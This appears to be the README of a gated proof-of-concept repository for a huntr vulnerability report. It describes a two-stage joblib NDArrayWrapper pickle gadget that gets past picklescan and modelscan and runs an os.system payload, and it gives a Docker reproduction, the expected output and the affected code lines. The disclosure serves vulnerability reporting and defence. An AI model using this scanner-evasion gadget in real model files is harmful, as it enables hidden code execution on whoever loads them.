| --- |
| license: mit |
| tags: |
| - security-poc |
| - huntr-mfv |
| - joblib |
| --- |
| |
| # joblib-ndarraywrapper-poc |
|
|
| > Demonstrator artifact for huntr MFV report β joblib `NDArrayWrapper` |
| > compat-mode gadget bypasses picklescan + modelscan and triggers RCE |
| > via secondary `np.load(..., allow_pickle=True)`. |
| |
| This repository is intentionally gated. Files are released only to |
| `protectai-bot` (huntr triage) for verification. |
| |
| ## Files |
| |
| - `model.joblib` β 142-byte gadget pickle. Holds an `NDArrayWrapper` |
| whose `.filename` field points at `stage2.npy`. picklescan and |
| modelscan both report this file as clean. |
| - `stage2.npy` β 351-byte object-dtype `.npy` whose pickled element |
| executes `os.system('id > /tmp/pwned.txt; echo PWNED >> /tmp/pwned.txt')` |
| via `__reduce__`. |
| |
| ## Reproduce locally (Docker) |
| |
| ``` |
| docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc ' |
| pip install -q joblib==1.5.3 numpy picklescan modelscan && \ |
| cp stage2.npy /tmp/stage2.npy && \ |
| picklescan --path model.joblib && \ |
| modelscan -p model.joblib && \ |
| python -c "import joblib; joblib.load(\"model.joblib\")" && \ |
| cat /tmp/pwned.txt |
| ' |
| ``` |
| |
| Expected output: |
| |
| ``` |
| Infected files: 0 # picklescan clean |
| No issues found! π # modelscan clean |
| uid=0(root) gid=0(root) groups=0(root) |
| PWNED # RCE |
| ``` |
| |
| Affected: joblib 1.5.3 (PyPI latest 2025-12-15) and joblib 1.6.dev0 |
| (repo HEAD). Sink: `joblib/numpy_pickle_compat.py:97-111`. Reach: |
| `joblib/numpy_pickle.py:438-467` (`NumpyUnpickler.load_build`). |
| |
| Distinct from CVE-2024-34997 (different file, class, sink, attacker |
| control surface). See huntr submission for the full writeup. |
| |